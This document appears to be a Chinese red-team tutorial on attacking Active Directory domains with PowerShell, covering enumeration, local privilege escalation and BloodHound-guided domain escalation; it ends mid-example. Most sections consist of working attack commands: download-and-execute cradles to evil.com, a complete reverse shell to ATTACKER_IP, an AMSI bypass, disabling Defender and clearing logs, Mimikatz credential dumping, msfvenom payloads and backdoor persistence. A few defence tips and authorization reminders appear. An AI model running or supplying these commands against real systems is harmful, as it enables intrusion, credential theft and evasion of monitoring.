ADAPT域渗透测试

在渗透测试红队中,PowerShell 是一个强大的工具,因其深度集成于 Windows 系统且灵活性高,常用于信息收集、权限提升、横向移动和持久化攻击。以下是 PowerShell 的基础知识和红队常用技巧:


一、红队PowerShell

1. PowerShell 基础

基本概念

  • **PowerShell (PS)**:基于 .NET 的脚本语言和命令行工具,支持自动化任务和系统管理。
  • Cmdlet:PowerShell 内置命令(如 Get-Process、Copy-Item)。
  • 脚本文件:扩展名为 .ps1,可通过命令行执行。
  • 执行策略:控制脚本运行权限,默认限制严格(Restricted)。

常用命令

  • 执行脚本:powershell -ExecutionPolicy Bypass -File script.ps1
  • 绕过执行策略:
    1
    powershell -ep bypass
  • 远程下载并执行:
    1
    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')

2. 红队常用 PowerShell 模块

信息收集

  • 系统信息:
    1
    2
    3
    Get-ComputerInfo
    Get-LocalUser
    Get-NetIPConfiguration
  • 网络探测:
    1
    Test-NetConnection -ComputerName 192.168.1.1 -Port 445
  • 域环境信息(需 Active Directory 模块):
    1
    2
    Get-ADUser -Filter * | Select-Object Name
    Get-ADComputer -Filter *

权限提升

  • 利用服务权限:

    1
    2
    sc.exe create EvilService binPath= "cmd /c C:\evil.exe"
    sc.exe start EvilService
  • Token 窃取(需管理员权限):

    1
    Invoke-TokenManipulation -ImpersonateUser -Username "Administrator"

横向移动

  • PsExec 替代(Invoke-Command):
    1
    Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
  • WMI 远程执行:
    1
    Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "calc.exe"

持久化

  • 计划任务:
    1
    schtasks /create /tn "EvilTask" /tr "C:\evil.exe" /sc DAILY
  • 注册表启动项:
    1
    Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\evil.exe"

3. 绕过安全检测

混淆与编码

  • Base64 编码命令:
    1
    2
    3
    $command = "Write-Host 'Hello, Red Team!'"
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
    powershell -EncodedCommand $encoded
  • 代码混淆工具:
    • Invoke-Obfuscation:混淆脚本以绕过杀软签名检测。
    • Chameleon:针对 AMSI(反恶意软件扫描接口)的绕过。

无文件攻击

  • 内存加载 DLL/EXE:
    1
    2
    $bytes = (Invoke-WebRequest "http://evil.com/shellcode.bin").Content
    Invoke-ReflectivePEInjection -PEBytes $bytes
  • PowerShell 反射注入(使用 Mimikatz):
    1
    2
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
    Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

4. 防御规避

  • 禁用日志记录:
    1
    Set-MpPreference -DisableRealtimeMonitoring $true
  • 清除事件日志:
    1
    wevtutil cl Security
  • 绕过 AMSI:
    1
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

5. 实战工具推荐

  • PowerSploit:渗透测试框架(信息收集、权限提升、持久化)。
  • Nishang:专为红队设计的脚本集(反向 Shell、键盘记录)。
  • Empire:C2 框架,支持 PowerShell 后门。
  • Cobalt Strike:集成 PowerShell 攻击链。

6. 防御建议

  • 限制 PowerShell 执行策略(如 AllSigned)。
  • 启用 PowerShell 日志记录(脚本块日志、模块日志)。
  • 监控敏感命令(如 DownloadString、IEX)。
  • 使用 AppLocker 或 WDAC 限制脚本执行。

7. 示例:反向 Shell

1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | %{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()

掌握 PowerShell 基础后,可结合工具和实战场景深入探索其在红队中的灵活应用。注意合法授权和道德规范!

二、AD域基础知识

Active Directory (AD) 域基础知识

Active Directory(AD)是微软开发的目录服务,用于管理 Windows 网络环境中的用户、计算机、组和其他资源。AD 域是企业网络的核心,理解其基础架构是渗透测试和红队行动的关键。


1. AD 核心概念

1.1 域(Domain)

  • 定义:逻辑安全边界,包含用户、计算机、组等对象,共享同一套安全策略和数据库。
  • 域控制器(DC, Domain Controller):
    • 存储 AD 数据库(NTDS.dit)的服务器,负责用户认证和策略执行。
    • 一个域可以有多个 DC,通过复制同步数据。
  • 域用户与计算机:
    • 用户账号(User Account):唯一标识(如 [email protected])。
    • 计算机账号(Computer Account):每台加入域的计算机自动创建。

1.2 林(Forest)与树(Tree)

  • 林:多个域的集合,共享全局编录(Global Catalog)和架构(Schema)。
    • 根域:林中第一个创建的域。
    • 信任关系:林内域默认双向信任,林间需手动配置。
  • 树:具有连续 DNS 命名空间的域(如 parent.com 和 child.parent.com)。

1.3 组织单位(OU, Organizational Unit)

  • 作用:用于逻辑分组管理对象(用户、计算机等),可嵌套。
  • 组策略(GPO, Group Policy Object):
    • 通过 GPO 向 OU 内的对象下发策略(如密码策略、软件安装)。

1.4 关键角色(FSMO Roles)

AD 中有 5 个灵活单主机操作角色(Flexible Single Master Operations):

  1. Schema Master:管理 AD 架构。
  2. Domain Naming Master:管理域的增加/删除。
  3. PDC Emulator:时间同步、密码策略主控。
  4. RID Master:分配安全标识符(SID)中的 RID。
  5. Infrastructure Master:维护跨域对象引用。

2. AD 核心服务

2.1 DNS

  • 作用:解析域名与 IP,AD 依赖 DNS 定位域控制器和服务。
  • SRV 记录:记录域控制器的服务(如 _ldap._tcp.dc._msdcs.domain.com)。

2.2 LDAP(轻量级目录访问协议)

  • 端口:默认 389(明文)和 636(SSL)。
  • 功能:查询和修改 AD 对象(如用户、组)。
  • 基本 DN 结构:DC=domain,DC=com。

2.3 Kerberos 认证

  • 流程:
    1. 用户向 KDC(Key Distribution Center)请求 TGT(Ticket Granting Ticket)。
    2. 使用 TGT 请求服务票据(Service Ticket)。
    3. 服务票据用于访问资源(如文件服务器)。
  • 关键漏洞:
    • 黄金票据(Golden Ticket):伪造 TGT(需域管理员哈希)。
    • 白银票据(Silver Ticket):伪造服务票据(需服务账号哈希)。

3. AD 安全机制

3.1.安全边界

  • 域不是安全边界,安全边界只有林

    因为可以通过SidHistory中设置,进行跨域,通过Sid519进行域间凭证转义。

3.2 权限模型

  • ACL(访问控制列表):控制对象访问权限(如用户能否修改组策略)。
  • 权限委派:将管理权限下放给非管理员用户(如重置密码)。

3.3 组策略安全

  • GPO 继承:子 OU 继承父 OU 策略,可强制覆盖。
  • 常见风险:
    • 配置不当导致普通用户获得管理员权限。
    • 通过 GPO 部署恶意脚本(如开机启动)。

4. 红队视角:AD 常见攻击面

image-20250409213527904

4.1 信息收集

  • 枚举域用户与计算机:

    1
    2
    Get-ADUser -Filter * | Select-Object Name
    Get-ADComputer -Filter * | Select-Object Name
  • 查询域信任关系:

    1
    Get-ADTrust -Filter *

4.2 凭证攻击

  • Pass-the-Hash(PtH):使用用户哈希横向移动。
  • Kerberoasting:破解服务账号的 Kerberos 票据(SPN 扫描)。

4.3 横向移动

  • PsExec/WMI 远程执行:
    1
    Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
  • DCSync 攻击:模拟域控制器同步用户哈希(需 Replicating Directory Changes 权限)。

4.4 权限提升

  • 滥用 ACL 权限:如修改 GPO 或用户权限。
  • MS14-068(漏洞):伪造 PAC(Privilege Attribute Certificate)获取管理员权限。

4.5 持久化

  • Golden Ticket:生成长期有效的 TGT。
  • 影子组(Shadow Groups):隐藏后门用户到受信任组。

5. 常用工具

  • BloodHound:可视化 AD 攻击路径。
  • Mimikatz:提取凭证、操作 Kerberos 票据。
  • Impacket:执行协议级攻击(如 DCSync)。
  • PowerView:PowerShell AD 信息收集工具。

6. 防御建议

  1. 强化域控制器:限制管理员访问,启用 Credential Guard。
  2. 监控日志:关注异常登录、DCSync 事件、GPO 修改。
  3. 最小化权限:避免普通用户拥有过高权限。
  4. 定期审计:检查 ACL、SPN 配置、信任关系。
  5. 禁用过时协议:如 NTLM,强制使用 Kerberos。

示例:通过 LDAP 查询域信息

1
2
3
4
5
# 查询所有用户
Get-ADUser -Filter * -Properties * | Select-Object Name, UserPrincipalName

# 查询域管理员组
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name

掌握 AD 域基础是红队渗透测试的关键,后续可结合工具和漏洞深入攻击手法。注意:所有操作需在授权范围内进行!

三、活动目录枚举


在渗透测试或红队行动中,域基础信息枚举是获取 Active Directory(AD)环境关键信息的重要步骤。以下是常用的枚举方法和工具,涵盖用户、计算机、组策略、信任关系等核心信息:


1. 基本信息枚举

(1) 获取当前域信息

  • PowerShell 内置命令:
    1
    Get-ADDomain | Select-Object Name, DNSRoot, DomainMode, Forest
    • 输出域名、DNS根、域功能级别和所属林名称。
  • CMD 命令:
    1
    2
    net view /domain   # 列出所有域
    net config workstation # 查看当前域信息

(2) 域控制器定位

  • DNS 查询 SRV 记录:
    1
    nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名>
  • PowerShell:
    1
    Get-ADDomainController | Select-Object HostName, IPv4Address, Site

2. 用户与组枚举

(1) 查询域用户

  • PowerShell:
    1
    Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate
    • -Filter * 表示所有用户,-Properties * 显示全部属性。
  • 过滤管理员用户:
    1
    Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name

(2) 查询域组

  • PowerShell:
    1
    Get-ADGroup -Filter * | Select-Object Name, GroupCategory
  • 查询特权组:
    1
    Get-ADGroup -Filter {Name -like "*Admin*"} | Select-Object Name

3. 计算机枚举

(1) 列出域内计算机

  • PowerShell:
    1
    Get-ADComputer -Filter * -Properties * | Select-Object Name, DNSHostName, OperatingSystem
  • CMD 命令:
    1
    net group "Domain Computers" /domain

(2) 定位特定服务主机

  • 查询 SQL 服务器(通过 SPN):
    1
    Get-ADComputer -Filter {ServicePrincipalName -like "MSSQLSvc*"} -Properties ServicePrincipalName

4. 组策略(GPO)枚举

(1) 列出所有 GPO

  • PowerShell:
    1
    Get-GPO -All | Select-Object DisplayName, Id, ModificationTime
  • 导出 GPO 设置:
    1
    Get-GPOReport -Name "Default Domain Policy" -ReportType HTML -Path "C:\gpo_report.html"

(2) 查找敏感配置

  • 搜索密码策略:

    1
    Get-ADDefaultDomainPasswordPolicy
  • 检查登录脚本路径:

    1
    Get-GPO -All | ForEach-Object { Get-GPOReport -Guid $_.Id -ReportType XML } | Select-String "Scripts"

5. 信任关系与林信息

(1) 域信任关系

  • PowerShell:
    1
    Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType
  • CMD 命令:
    1
    nltest /domain_trusts

(2) 林信息

  • PowerShell:
    1
    Get-ADForest | Select-Object Name, RootDomain, Domains

6. 工具化枚举

(1) PowerView(PowerShell 脚本)

  • 下载:
    1
    IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1')
  • 常用命令:
    1
    2
    3
    4
    Get-NetDomain           # 当前域信息
    Get-NetUser # 所有用户
    Get-NetComputer -SPN "*SQL*" # 按 SPN 过滤计算机
    Invoke-ShareFinder # 查找共享目录

(2) BloodHound(可视化分析)

  • 数据采集:
    1
    Invoke-BloodHound -CollectionMethod All
    • 生成 JSON 文件后导入 BloodHound 界面,自动分析攻击路径。
  • 关键查询:
    • “查找域管理员登录的主机”。
    • “查找具有 ACL 权限提升路径的用户”。

7. 隐蔽枚举技巧

(1) LDAP 匿名查询

  • 若允许匿名访问,可直接通过 LDAP 查询:
    1
    2
    3
    $searcher = New-Object DirectoryServices.DirectorySearcher
    $searcher.Filter = "(objectCategory=User)"
    $searcher.FindAll() | ForEach-Object { $_.Properties }

(2) 绕过日志监控

  • 无文件执行:
    1
    powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1'); Get-NetUser"
  • 清除内存痕迹:
    1
    [System.GC]::Collect()  # 强制垃圾回收

8. 关键信息示例

(1) 定位域管理员

  • PowerShell:

    1
    Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, DistinguishedName
  • 通过日志分析:

    1
    Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | Where-Object { $_.Message -match "Administrator" }

(2) 查找敏感共享

  • PowerShell:

    1
    Get-SmbShare | Where-Object { $_.Path -like "*Data*" }

防御建议

  1. 限制匿名 LDAP 查询:禁用未经认证的访问。
  2. 监控敏感命令:如 Get-ADUser、Invoke-BloodHound。
  3. 启用 PowerShell 日志:记录脚本执行和模块加载。
  4. 定期审计权限:检查特权组和 ACL 配置。

掌握域基础信息枚举是渗透测试的关键前置步骤,结合工具和手动查询可快速构建攻击地图。注意:所有操作需在合法授权范围内进行!

四、本地权限提升


在渗透测试或红队行动中,Windows本地权限提升(Local Privilege Escalation, LPE)是获取更高权限(如 SYSTEM 或管理员)的关键步骤。以下是常见提权手法、工具及防御建议:


1. 基础信息收集

在尝试提权前,需先收集系统信息,定位可利用的漏洞或配置缺陷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# 查看当前用户权限
whoami /priv

# 查看安装的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 查看计划任务
schtasks /query /fo LIST /v

# 查看服务权限(PowerShell)
Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName

或者使用自动化信息枚举工具豌豆winpeas

2. 常见提权手法

(1) 利用未修补的系统漏洞

  • CVE 漏洞:
    • **PrintNightmare (CVE-2021-34527)**:通过打印机服务加载恶意DLL。
    • CVE-2021-1675:类似PrintNightmare的远程代码执行漏洞。
    • **ZeroLogon (CVE-2020-1472)**:重置域控制器密码(针对域环境)。
  • 利用工具:
    • Metasploit:use exploit/windows/local/[漏洞模块]。
    • GitHub PoC:如 PrintNightmare PoC。

(2) 服务权限滥用

  • 可写服务路径:

    • 查找服务二进制路径可写的服务:
      1
      Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "* *" } | Select-Object Name, PathName, StartName
    • 替换二进制文件并重启服务:
      1
      2
      sc stop ServiceName
      sc start ServiceName
  • 服务未引用路径(Unquoted Service Path):

    • 若服务路径未用引号包裹且包含空格,可在中间目录植入恶意程序:
      1
      2
      # 示例路径:C:\Program Files\Vulnerable Service\service.exe
      # 植入 C:\Program.exe 或 C:\Program Files\Vulnerable.exe

(3) 计划任务提权

  • 查找以高权限运行的任务:

    1
    schtasks /query /fo LIST /v | findstr /i "SYSTEM\|管理员"
  • 劫持任务调用的可写脚本或DLL。

(4) DLL劫持(DLL Hijacking)

  • 原理:程序运行时加载未验证的DLL路径。
  • 工具:
    • Process Monitor:监控目标进程加载的DLL。
    • PowerShell脚本:自动化检测可劫持的DLL路径。

(5) 令牌模拟(Token Impersonation)

  • 适用场景:已获取管理员进程的令牌(如通过Meterpreter会话)。
  • Mimikatz命令:
    1
    2
    privilege::debug
    token::elevate
  • Metasploit模块:
    1
    2
    3
    use incognito
    list_tokens -u
    impersonate_token "NT AUTHORITY\SYSTEM"

(6) 注册表键滥用

  • AlwaysInstallElevated:
    • 检查是否允许普通用户以SYSTEM权限安装MSI包:
      1
      2
      reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
      reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    • 生成恶意MSI并安装:
      1
      2
      msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f msi -o evil.msi
      msiexec /quiet /qn /i evil.msi

(7) 利用自动运行程序(Autoruns)

  • 查找开机/登录自启动程序:
    • 工具:Autoruns(Sysinternals工具集)。
    • 替换可写的启动项脚本(如 C:\Users\Public\Desktop\startup.bat)。

(8) 其他

  • 在 Windows机器上本地升级权限有多种方法(漏洞)

    • 缺少补丁
    • 明文形式的自动部署和自动登录密码
    • AlwaysInstallElevated(任何用户都可以以SYSTEM身份运行MSI )服务配置错误
    • DLL劫持等
  • 在环境下无法利用漏洞进行提权时

    • 积极利用不安全的配置
    • 不安全的配置很少有针对它们的补丁,而且他们不是安全团队的重点
    • 针对企业应用程序部署时并未考虑到安全性,例如测试系统权限过大、测试账号权限过大
    • 在Windows上许多企业应用程序需要管理特权或系统特权才能够运行,可以尝试白加黑(白exe+黑+dll)

3. 自动化提权工具

(1) PowerUp.ps1

  • 功能:自动化检测服务、计划任务、注册表等提权路径。
  • 使用:
    1
    2
    3
    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerUp.ps1')
    Invoke-AllChecks # 检测所有潜在漏洞
    Invoke-ServiceAbuse -Name VulnerableService # 利用可写服务提权

(2) Windows-Exploit-Suggester

  • 原理:根据 systeminfo 输出匹配已知漏洞。
  • 使用:
    1
    ./windows-exploit-suggester.py --database 2023-10.xls --systeminfo systeminfo.txt

(3) Metasploit

  • 常用模块:
    1
    2
    use post/multi/recon/local_exploit_suggester  # 本地漏洞检测
    use exploit/windows/local/service_permissions # 服务权限滥用

以下是关于 Windows提权土豆家族(Potato Family) 的详细介绍,涵盖其原理、常见工具、利用条件及防御建议:


(4) 土豆家族

1. 土豆家族概述

土豆家族 是一系列利用 Windows 特权或漏洞进行本地权限提升(Local Privilege Escalation, LPE)的工具和技术统称。它们通过模拟高权限令牌(如 SYSTEM)或滥用服务配置,将低权限用户(如 IIS、MSSQL 服务账户)提升至系统权限,广泛用于红队渗透测试中。

核心原理
  • 特权滥用:利用 SeImpersonatePrivilege(模拟令牌)或 SeAssignPrimaryTokenPrivilege(分配令牌)特权,通过 API(如 CreateProcessWithTokenW)生成高权限进程。
  • 令牌窃取:通过中间人攻击(如 NTLM 重放)、命名管道(Named Pipe)或 RPC 接口,劫持系统进程(如 spoolsv.exe)的令牌。
⼟⾖系列漏洞与提权⼯具

1. Rotten Potato

滥⽤的权限:SeImpersonatePrivilege

描述:Rotten Potato 利⽤了 Windows 中的 NTLM relay 攻击,通过滥⽤具有
SeImpersonatePrivilege 权限的进程来获得 SYSTEM 权限。攻击者通过代理身份验证请求,
将⾃身提升为⽐当前进程更⾼的权限(通常为 SYSTEM)。

2. Juicy Potato

滥⽤的权限:SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

描述:Juicy Potato 是对 Rotten Potato 技术的改进,主要在更⾼版本的 Windows 上⼯作(例如
Windows 10 和 Server 2016)。它通过调⽤ DCOM (Distributed COM)服务来滥⽤
SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege ,同样可以将当前⽤户提升为
SYSTEM。

3. Rogue Potato

滥⽤的权限:SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

描述:Rogue Potato 是对 Juicy Potato 的进⼀步改进,修复了 Juicy Potato 在 Windows 10
(1903+)和 Windows Server 2019 上的不可⽤问题。它通过建⽴⽆凭证的 HTTP 连接来获取更
⾼权限的身份,继续利⽤ SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege。

4. Sweet Potato

滥⽤的权限:SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

描述:Sweet Potato 是对 Juicy Potato 的进⼀步改进,专⻔针对 Windows Server 2016 和
Windows Server 2019 的 LPE(Local Privilege Escalation)。它尝试通过各种 COM 对象进⾏提
权,当某些端点被 Windows 安全策略或补丁修复时,它会⾃动尝试其他路径。

5. Potato.exe

滥⽤的权限:SeImpersonatePrivilege

描述:Potato.exe 是 Rotten Potato 的昀早版本,⽤于本地提权。后来逐渐演化为更复杂的攻击
技术,如 Juicy Potato。Potato.exe 直接利⽤了 Windows 中的 NTLM relay 攻击,并利⽤ Web
请求来欺骗服务进⾏提权。

6. Small Potato

滥⽤的权限:SeImpersonatePrivilege
54
Print系列漏洞与提权⼯具

描述:Small Potato 是⼀种轻量级的⼟⾖提权⼯具,旨在通过昀少的操作来实现 SYSTEM 权限,
核⼼思想仍然是滥⽤ SeImpersonatePrivilege 。它的实现⽅式⽐其他⼟⾖⼯具要简单,针对特
定的场景做了优化。

7. Ghost Potato

滥⽤的权限:SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

描述:Ghost Potato 是⼟⾖系列的另⼀个变种,主要⽤于更⾼级的环境提权,特别是在⼀些不适
合使⽤ Juicy Potato 或 Rogue Potato 的环境下使⽤

2. 常见工具及利用场景

(1) 主流土豆工具
工具名称 特点 适用系统版本
PrintSpoofer 利用 spoolsv.exe 服务,通过命名管道模拟令牌 Win 8.1+/Server 2012+
RottenPotato 通过 NTLM 重放攻击模拟 SYSTEM 令牌(MS16-075) Win 7/Server 2008 R2
JuicyPotato 早期经典工具,依赖 COM 组件滥用(需 CLSID 列表) Win 7/Server 2008 R2
GodPotato 通杀全系 Windows 的改进版,支持多种协议(HTTP、SMB 等) Win 10/Server 2016+
SweetPotato 支持多协议令牌模拟,适用于高版本系统 Win 10/Server 2019+
EfsPotato 利用 EFS(加密文件系统)RPC 接口获取令牌 Win 10/Server 2016+
PrintNotifyPotato 通过打印通知功能触发权限提升 Win 10/Server 2019+

注:部分工具需自行编译(如 BadPotato、CandyPotato),部分自带 EXE(如 GodPotato、JuicyPotatoNG)。

(2) 利用条件
  • 必要特权:当前用户需具备 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege(常见于 IIS、MSSQL 服务账户)。
  • 服务依赖:如 PrintSpoofer 需 spoolsv.exe 运行,RottenPotato 依赖 NTLM 认证机制。
  • 系统补丁:未安装相关漏洞补丁(如 MS16-075、CVE-2021-1675)。

3. 典型攻击流程

  1. 信息收集:
    检查当前权限、系统版本及补丁状态:
    1
    2
    whoami /priv
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  2. 工具上传:
    通过 Webshell 上传土豆家族 EXE(如 GodPotato.exe)至可写目录。
  3. 执行提权:
    运行工具生成高权限进程(如启动反向 Shell):
    1
    GodPotato.exe -cmd "C:\shell.exe"
  4. 权限维持:
    通过 Cobalt Strike 或 Meterpreter 获取 SYSTEM 会话,进行横向移动或持久化。

(5) Print系列漏洞与提权⼯具

1. PrintNightmare

滥⽤的权限:SeLoadDriverPrivilege(特定情况下),或者远程执⾏⽆需特殊权限

描述:PrintNightmare 是⼀种漏洞,编号为 CVE-2021-34527,它影响了 Windows 的 Print
Spooler 服务,允许攻击者远程执⾏代码或者提升本地权限。虽然有些场景下需要
SeLoadDriverPrivilege 来加载恶意驱动,但更多时候是⽆权限限制的远程代码执⾏漏洞。
2. PrintSpoofer

滥⽤的权限:SeImpersonatePrivilege

描述:PrintSpoofer 利⽤了 Print Spooler 服务中的漏洞,同样滥⽤
SeImpersonatePrivilege 。该⼯具通过 Impersonation 提权,攻击者可以从低权限提升到
SYSTEM。
3. PrintDemon

滥⽤的权限:本地权限提升

描述:PrintDemon(CVE-2020-1048)是⼀个 Windows 打印服务中的本地提权漏洞。它允许攻
击者将恶意⽂件写⼊系统⽬录,从⽽实现代码执⾏或提权。此漏洞影响 Windows Print Spooler,
攻击者可以通过操控打印队列中的临时⽂件来执⾏恶意操作。
4. CVE-2021-1675

滥⽤的权限:本地权限提升、远程代码执⾏

描述:这是 PrintNightmare 漏洞的另⼀个变体,昀初被误认为仅是本地提权漏洞,但后来发现它
也具有远程代码执⾏的能⼒,攻击者可以通过 Print Spooler 服务在没有特别权限的情况下执
⾏任意代码。
5. MS-RPRN (Remote Print Protocol Exploit)

滥⽤的权限:远程代码执⾏

描述:MS-RPRN 是 Windows 中的远程打印协议(Remote Printing Protocol),其实现中多次出
现漏洞,允许攻击者通过⽹络发送恶意的打印请求来执⾏任意代码。该协议漏洞多次被利⽤,⽤
于横向移动或远程代码执⾏。


4. 防御建议

  1. 及时打补丁:修复已知漏洞(如永恒之蓝、PrintNightmare)。
  2. 最小权限原则:
    • 服务账户使用低权限(如 LOCAL SERVICE)。
    • 限制敏感目录(如 C:\Windows\System32)的写入权限。
  3. 启用UAC:防止自动提升权限。
  4. 审计配置:
    • 检查计划任务、服务路径、注册表键。
    • 使用 Sysinternals Suite(如 AccessChk、AutoRuns)。
  5. 监控日志:
    • 事件ID 4688(新进程创建)、4697(服务安装)、4104(PowerShell脚本执行)。

5. 示例:利用PowerUp提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 下载并执行PowerUp
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerUp.ps1')

# 检测漏洞
Invoke-AllChecks

# 发现可写服务路径,生成Payload并替换
Write-Host "检测到服务路径可写!"
$serviceName = "VulnerableService"
$payloadPath = "C:\Windows\Temp\evil.exe"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o $payloadPath
sc stop $serviceName
Copy-Item $payloadPath -Destination "C:\Program Files\Service\service.exe" -Force
sc start $serviceName

五.域权限提升之Bloodhound


在 Active Directory(AD)域环境中,BloodHound 是一款强大的开源工具,用于可视化攻击路径并识别权限提升机会。它通过分析用户、组、ACL(访问控制列表)、GPO(组策略)等对象的关系,帮助红队快速定位提权路径。以下是结合 BloodHound 的域权限提升全流程指南:


1. BloodHound 核心概念

(1) 数据收集

  • SharpHound:BloodHound 的官方数据收集器(C# 或 PowerShell 版本),用于抓取 AD 对象及其关系。
  • 收集类型:
    • 默认收集:用户、组、计算机、ACL、会话、GPO、域信任等。
    • 高级收集:-CollectionMethod All 或指定特定类型(如 LoggedOn、RDP)。

(2) 核心分析视角

  • 高价值目标:
    • 特权组:Domain Admins、Enterprise Admins、Schema Admins。
    • 敏感用户:具备 DCSync 权限或 AdminTo 关系的用户。
    • 关键资源:域控制器、文件服务器、SQL 服务器。

2. 域权限提升实战流程

步骤1:新版安装配置

  1. **官网安装指导页面**(需要先安装docker)

  2. 由于国内墙的原因导致安装指令需要开启系统代理翻墙。

    且如果使用了sudo指令需要使用-E参数来继承环境变量。

    1
    2
    export http_proxy="http://192.168.100.1:7890"
    export https_proxy="http://192.168.100.1:7890"
  3. 需要安装docker和docker-compose环境。

    1
    2
    sudo apt update
    sudo apt install docker.io docker-compose
  4. 且docker需要配置配置镜像源。

步骤1:安装与配置

  1. 安装 BloodHound:

    1
    2
    3
    # Kali Linux
    sudo apt install bloodhound
    # 或从 GitHub 下载最新版
  2. 启动 Neo4j 数据库(BloodHound 依赖):

    1
    neo4j console
  3. 登录 BloodHound 界面:

    • 访问 http://localhost:7474,使用默认凭证 neo4j/neo4j 初始化密码。

步骤2:数据收集

  1. 通过 SharpHound 收集数据:
    1
    2
    3
    4
    5
    # 下载 SharpHound.ps1
    IEX (New-Object Net.WebClient).DownloadString('http://<攻击机>/SharpHound.ps1')

    # 执行数据收集(默认方法)
    Invoke-BloodHound -CollectionMethod All -Domain <域名> -ZipFileName data.zip
    • 生成 data.zip 文件后,将其导入 BloodHound 界面。

步骤3:关键查询与攻击路径

在 BloodHound 中,使用 Cypher 查询 或预置分析功能定位提权路径:

(1) 查找域管理员所在主机
  • 预置查询:Find Domain Admins Logged On。
  • 手动查询:
    1
    2
    3
    MATCH (u:User)-[:MemberOf]->(g:Group {name: "DOMAIN [email protected]"})
    MATCH (c:Computer)-[:HasSession]->(u)
    RETURN u.name, c.name
    • 结果:定位域管理员登录的计算机,尝试横向移动或凭证窃取。
(2) ACL 滥用提权
  • 场景:普通用户对高权限组(如 Domain Admins)有 WriteDacl、GenericAll 权限。
  • 查询:
    1
    2
    MATCH (u:User {name: "[email protected]"})-[:GenericAll]->(g:Group {name: "DOMAIN [email protected]"})
    RETURN u, g
    • 利用方法:将自身添加到目标组:
      1
      Add-ADGroupMember -Identity "Domain Admins" -Members "普通用户"
(3) 非特权用户到域控制器的攻击路径
  • 预置查询:Shortest Paths to Domain Admins。
  • 常见路径:
    • 用户 → 对计算机有本地管理员权限 → 计算机上有域管理员会话 → 抓取哈希。
    • 用户 → 对 GPO 有编辑权限 → 修改 GPO 下发恶意任务。
(4) Kerberoasting 攻击目标
  • 查询具备 SPN 的服务账号:
    1
    MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
    • 导出票据后破解:Invoke-Kerberoast -OutputFormat Hashcat | fl.
(5) 滥用 GPO 提权
  • 查询可编辑的 GPO:
    1
    MATCH (u:User)-[:WriteDacl|Owns]->(g:GPO) RETURN u.name, g.name
    • 利用方法:通过 GPO 下发计划任务或启动脚本,在域内主机执行恶意代码。

3. 实战提权案例

案例1:通过 ACL 提权到域管理员

  1. 发现攻击路径:
    BloodHound 显示用户 Alice 对 HelpDesk 组有 GenericAll 权限,而 HelpDesk 组对 Domain Admins 组有 AddMember 权限。
  2. 执行提权:
    1
    2
    3
    4
    5
    # 将 Alice 添加到 HelpDesk 组(如果尚未加入)
    Add-ADGroupMember -Identity "HelpDesk" -Members "Alice"

    # 通过 HelpDesk 组权限将 Alice 加入 Domain Admins
    Add-ADGroupMember -Identity "Domain Admins" -Members "Alice" -Credential (Get-Credential)

案例2:利用会话劫持横向移动

  1. 定位高权限会话:
    BloodHound 显示域管理员 Admin 登录到计算机 PC-01。
  2. 获取 PC-01 控制权:
    利用本地提权漏洞(如 Potato 家族)获取 PC-01 的 SYSTEM 权限。
  3. 转储 LSASS 内存:
    1
    Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
  4. 使用域管理员凭证横向移动:
    1
